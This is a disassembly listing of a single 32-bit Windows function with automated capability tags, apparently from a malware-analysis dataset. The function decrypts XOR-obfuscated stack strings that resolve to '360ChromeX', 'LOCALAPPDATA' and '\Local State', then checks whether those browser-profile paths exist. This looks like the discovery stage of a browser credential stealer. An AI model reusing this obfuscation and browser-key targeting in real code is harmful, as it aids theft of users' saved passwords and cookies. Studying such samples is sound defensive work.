Function at 0x1000d400
Capabilities:
Authenticate hmac
Check if file exists
Encode data using xor
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c44b2
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x10244540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0
mov cl, 0xa1
mov al, cl
mov byte [ebp - 0xf0], cl
xor al, 0x33
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xc8], al
xor edx, edx
mov al, cl
mov dword [ebp - 0xf8], 0
xor al, 0x36
mov dword [ebp - 0xf4], 0
mov byte [ebp - 0xc7], al
mov al, cl
xor al, 0x30
mov dword [ebp - 0x100], 0x101ec5c8
mov byte [ebp - 0xc6], al
mov al, cl
xor al, 0x43
mov byte [ebp - 0xbe], 0
mov byte [ebp - 0xc5], al
mov al, cl
xor al, 0x68
mov byte [ebp - 0xc4], al
mov al, cl
xor al, 0x72
mov byte [ebp - 0xc3], al
mov al, cl
xor al, 0x6f
mov byte [ebp - 0xc2], al
mov al, cl
xor al, 0x6d
mov byte [ebp - 0xc1], al
mov al, cl
xor al, 0x65
xor cl, 0x58
movups xmmword [ebp - 0xec], xmm0
mov byte [ebp - 0xc0], al
xor esi, esi
movups xmmword [ebp - 0xdc], xmm0
mov byte [ebp - 0xbf], cl
nop dword [eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xec], eax
inc edx
cmp edx, 8
jb 0x1000d500
push 0xa
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x100]
call fcn.100046f0
mov dword [ebp - 0xcc], eax
xor edx, edx
mov byte [ebp - 4], 1
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xec], eax
inc edx
cmp edx, 8
jb 0x1000d563
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xf8]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xf4], eax
cmp esi, ecx
ja 0x1000d62f
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0xfc], edi
test edi, edi
je 0x1000d62f
mov ecx, dword [ebp - 0xcc]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xec]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov ecx, dword [ebp - 0xfc]
add esp, 0x14
test ecx, ecx
je 0x1000d62f
mov al, byte [ebp - 0xf0]
xor byte [ecx], al
xor byte [ecx + 1], al
xor byte [ecx + 2], al
xor byte [ecx + 3], al
xor byte [ecx + 4], al
xor byte [ecx + 5], al
xor byte [ecx + 6], al
xor byte [ecx + 7], al
xor byte [ecx + 8], al
xor byte [ecx + 9], al
mov byte [ecx + 0xa], 0
jmp 0x1000d631
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x1000d650
sub edx, esi
push edx
push ecx
lea ecx, [ebp - 0x28]
call fcn.100191c0
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa0]
call fcn.10005900
push eax
lea ecx, [ebp - 0x40]
call fcn.10017500
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x1000d6b8
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000d6ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f28a
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0xf
jbe 0x1000d70b
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000d701
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f28a
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 0
cmp dword [ebp - 0x30], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
je 0x1000d739
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
cmova eax, dword [ebp - 0x40]
push eax
call esi
cmp eax, 0xffffffff
je 0x1000d739
shr eax, 4
test al, 1
jne 0x1000e926
mov dl, 0x51
mov dword [ebp - 0x100], 0
mov al, dl
mov byte [ebp - 0xf4], dl
xor al, 0x33
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcc], al
mov cl, dl
mov al, dl
mov dword [ebp - 0xf8], 0
xor al, 0x36
mov dword [ebp - 0x104], 0x101f3f40
mov byte [ebp - 0xcb], al
xor cl, 0x65
mov al, dl
mov byte [ebp - 0xc4], cl
xor al, 0x30
mov byte [ebp - 0xc1], cl
mov byte [ebp - 0xca], al
xorps xmm0, xmm0
mov al, dl
mov byte [ebp - 0xbf], cl
xor al, 0x43
mov byte [ebp - 0xbe], 0
mov byte [ebp - 0xc9], al
mov al, dl
xor al, 0x68
mov byte [ebp - 0xc8], al
mov al, dl
xor al, 0x72
mov byte [ebp - 0xc7], al
mov al, dl
xor al, 0x6f
mov byte [ebp - 0xc6], al
mov al, dl
xor al, 0x6d
mov byte [ebp - 0xc5], al
mov al, dl
xor al, 0x58
mov byte [ebp - 0xc3], al
mov al, dl
xor dl, 0x78
xor al, 0x2e
mov byte [ebp - 0xc0], dl
xor edx, edx
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc2], al
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
nop dword [eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000d810
push 0xe
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 3
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000d873
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000d93d
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000d93d
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000d93d
xor ecx, ecx
nop dword [eax + eax]
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xe
jb 0x1000d920
mov byte [edx + 0xe], 0
jmp 0x1000d93f
xor edx, edx
mov ecx, edx
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000d960
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.100191c0
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa0]
call fcn.10005f20
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x1000d9bd
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000d9b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f28f
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 7
cmp dword [ebp - 0x90], 0
je 0x1000da27
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x58]
call fcn.10007580
push eax
lea ecx, [ebp - 0x40]
call fcn.10017500
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000da27
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000da1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f294
push ecx
push edx
call fcn.1018eb3e
add esp, 8
cmp dword [ebp - 0x30], 0
je 0x1000da51
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmova eax, dword [ebp - 0x40]
push eax
call esi
cmp eax, 0xffffffff
je 0x1000da51
shr eax, 4
test al, 1
jne 0x1000e8e8
mov ah, 0x60
mov dword [ebp - 0x100], 0
mov al, ah
mov byte [ebp - 0xf4], ah
xor al, 0x4f
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcb], al
mov dl, ah
mov al, ah
mov dword [ebp - 0xf8], 0
xor al, 0x43
mov dword [ebp - 0x104], 0x101f3f88
mov byte [ebp - 0xca], al
xor dl, 0x41
mov al, ah
mov byte [ebp - 0xc9], dl
xor al, 0x50
mov byte [ebp - 0xc7], dl
mov byte [ebp - 0xc6], al
mov cl, ah
mov byte [ebp - 0xc5], al
xor cl, 0x4c
mov al, ah
mov byte [ebp - 0xc3], dl
xorps xmm0, xmm0
mov byte [ebp - 0xc1], dl
xor al, 0x44
mov byte [ebp - 0xcc], cl
xor ah, 0x54
mov byte [ebp - 0xc8], cl
xor edx, edx
mov byte [ebp - 0xc4], al
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc2], ah
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xc0], 0
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000db02
push 0xc
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 8
xor esi, esi
nop word [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000db70
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000dc32
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000dc32
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000dc32
xor ecx, ecx
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xc
jb 0x1000dc15
mov byte [edx + 0xc], 0
jmp 0x1000dc34
xor edx, edx
push edx
call fcn.101a0872
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000dc60
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.100191c0
mov cl, 0xc5
mov dword [ebp - 0x100], 0
mov al, cl
mov byte [ebp - 0xf4], cl
xor al, 0x5c
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcc], al
xorps xmm0, xmm0
mov al, cl
mov dword [ebp - 0xf8], 0
xor al, 0x33
mov dword [ebp - 0x104], 0x101ec288
mov byte [ebp - 0xcb], al
xor edx, edx
mov al, cl
mov byte [ebp - 0xc0], 0
xor al, 0x36
mov byte [ebp - 0xca], al
mov al, cl
xor al, 0x30
mov byte [ebp - 0xc9], al
mov al, cl
xor al, 0x43
mov byte [ebp - 0xc8], al
mov al, cl
xor al, 0x68
mov byte [ebp - 0xc7], al
mov al, cl
xor al, 0x72
mov byte [ebp - 0xc6], al
mov al, cl
xor al, 0x6f
mov byte [ebp - 0xc5], al
mov al, cl
xor al, 0x6d
mov byte [ebp - 0xc4], al
mov al, cl
xor cl, 0x58
xor al, 0x65
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc3], al
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xc2], cl
mov byte [ebp - 0xc1], cl
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000dd32
push 0xc
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 0xb
xor esi, esi
nop word [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000dda0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000de62
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000de62
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000de62
xor ecx, ecx
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xc
jb 0x1000de45
mov byte [edx + 0xc], 0
jmp 0x1000de64
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000de70
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x18]
sub eax, esi
cmp eax, ecx
jb 0x1000f299
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push ecx
cmova eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
push edx
push esi
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
mov dl, 0x1c
mov dword [ebp - 0x100], 0
mov al, dl
mov byte [ebp - 0xf4], dl
xor al, 0x33
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcc], al
mov cl, dl
mov al, dl
mov dword [ebp - 0xf8], 0
xor al, 0x36
mov dword [ebp - 0x104], 0x101ec164
mov byte [ebp - 0xcb], al
xor cl, 0x65
mov al, dl
mov byte [ebp - 0xc4], cl
xor al, 0x30
mov byte [ebp - 0xc1], cl
mov byte [ebp - 0xca], al
xorps xmm0, xmm0
mov al, dl
mov byte [ebp - 0xbf], cl
xor al, 0x43
mov byte [ebp - 0xbe], 0
mov byte [ebp - 0xc9], al
mov al, dl
xor al, 0x68
mov byte [ebp - 0xc8], al
mov al, dl
xor al, 0x72
mov byte [ebp - 0xc7], al
mov al, dl
xor al, 0x6f
mov byte [ebp - 0xc6], al
mov al, dl
xor al, 0x6d
mov byte [ebp - 0xc5], al
mov al, dl
xor al, 0x58
mov byte [ebp - 0xc3], al
mov al, dl
xor dl, 0x78
xor al, 0x2e
mov byte [ebp - 0xc0], dl
xor edx, edx
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc2], al
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
nop dword [eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000df80
push 0xe
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 0xe
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000dfe3
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000e0ad
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000e0ad
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000e0ad
xor ecx, ecx
nop dword [eax + eax]
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xe
jb 0x1000e090
mov byte [edx + 0xe], 0
jmp 0x1000e0af
xor edx, edx
mov ecx, edx
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000e0d0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.100191c0
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x58]
call fcn.10006670
add esp, 4
lea ecx, [ebp - 0x40]
push eax
call fcn.10017500
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x1000e13c
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e132
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f29e
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x1000e189
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e17f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f29e
push ecx
push edx
call fcn.1018eb3e
add esp, 8
cmp dword [ebp - 0x30], 0
je 0x1000e520
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
cmova eax, dword [ebp - 0x40]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
cmp eax, 0xffffffff
je 0x1000e520
shr eax, 4
test al, 1
je 0x1000e520
mov dl, 0xce
mov dword [ebp - 0x100], 0
mov al, dl
mov byte [ebp - 0xf4], dl
xor al, 0x5c
mov dword [ebp - 0xfc], 0
mov byte [ebp - 0xcc], al
mov cl, dl
mov al, dl
mov dword [ebp - 0xf8], 0
xor al, 0x4c
mov dword [ebp - 0x104], 0x101ec69c
mov byte [ebp - 0xcb], al
xor cl, 0x61
mov al, dl
mov byte [ebp - 0xc8], cl
xor al, 0x6f
mov byte [ebp - 0xc3], cl
mov byte [ebp - 0xca], al
xorps xmm0, xmm0
mov al, dl
mov byte [ebp - 0xc0], 0
xor al, 0x63
mov byte [ebp - 0xc9], al
mov al, dl
xor al, 0x6c
mov byte [ebp - 0xc7], al
mov al, dl
xor al, 0x20
mov byte [ebp - 0xc6], al
mov al, dl
xor al, 0x53
mov byte [ebp - 0xc5], al
mov al, dl
xor dl, 0x65
xor al, 0x74
mov byte [ebp - 0xc1], dl
xor edx, edx
movups xmmword [ebp - 0xf0], xmm0
mov byte [ebp - 0xc4], al
xor esi, esi
movups xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xc2], al
nop word [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000e280
push 0xc
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea ecx, [ebp - 0x104]
call fcn.100046f0
mov dword [ebp - 0xd0], eax
xor edx, edx
mov byte [ebp - 4], 0x11
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0xf0], eax
inc edx
cmp edx, 8
jb 0x1000e2e3
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xfc]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0xf8], eax
cmp esi, ecx
ja 0x1000e3ad
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x100], edi
test edi, edi
je 0x1000e3ad
mov ecx, dword [ebp - 0xd0]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0xf0]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov edx, dword [ebp - 0x100]
add esp, 0x14
test edx, edx
je 0x1000e3ad
xor ecx, ecx
nop dword [eax + eax]
lea eax, [edx + ecx]
mov dl, byte [ebp - 0xf4]
xor byte [eax], dl
inc ecx
mov edx, dword [ebp - 0x100]
cmp ecx, 0xc
jb 0x1000e390
mov byte [edx + 0xc], 0
jmp 0x1000e3af
xor edx, edx
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000e3b4
sub ecx, esi
mov eax, bind
mov esi, dword [ebp - 0x30]
sub eax, esi
cmp eax, ecx
jb 0x1000f2a3
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x88]
push edx
push esi
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x11c]
call fcn.100198c0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x13
push eax
call fcn.100168c0
lea ecx, [ebp - 0x70]
cmp eax, ecx
je 0x1000e41d
cmp dword [ebp - 0x5c], 0xf
push dword [ebp - 0x60]
cmova ecx, dword [ebp - 0x70]
push ecx
mov ecx, eax
call fcn.10017d60
mov ecx, dword [ebp - 0x74]
cmp ecx, 0xf
jbe 0x1000e454
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e44a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2a8
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0xf
jbe 0x1000e49d
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e493
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2a8
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0xf
jbe 0x1000e4e3
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000e4d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2a8
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0xf
jbe 0x1000f183
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000f179
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000f2a8
jmp 0x1000f179
mov ch, 0x6a
mov dword [ebp - 0x110], 0
mov al, ch
mov byte [ebp - 0x115], ch
xor al, 0x5c
mov byte [ebp - 0x104], ch
mov byte [ebp - 0x116], al
mov cl, ch
mov byte [ebp - 0xdc], al
xor cl, 0x6d
mov al, ch
mov byte [ebp - 0xd4], cl
xor al, 0x33
mov byte [ebp - 0xcc], cl
mov byte [ebp - 0xdb], al
mov dh, ch
mov cl, byte [ebp - 0x115]
mov al, ch
xor al, 0x36
mov dword [ebp - 0x10c], 0
mov byte [ebp - 0xda], al
mov ah, ch
mov al, ch
mov dword [ebp - 0x108], 0
xor al, 0x30
mov dword [ebp - 0x114], 0x101f3f80
mov byte [ebp - 0xd9], al
xor ah, 0x68
mov al, ch
mov byte [ebp - 0xd7], ah
xor al, 0x72
mov byte [ebp - 0xcf], ah
mov byte [ebp - 0xb9], al
mov dl, ch
mov byte [ebp - 0xd6], al
xor dh, 0x43
mov al, byte [ebp - 0x115]
xor dl, 0x6f
xor al, 0x58
mov ah, byte [ebp - 0xb9]
mov byte [ebp - 0xd2], al
xor ch, 0x65
mov al, byte [ebp - 0x116]
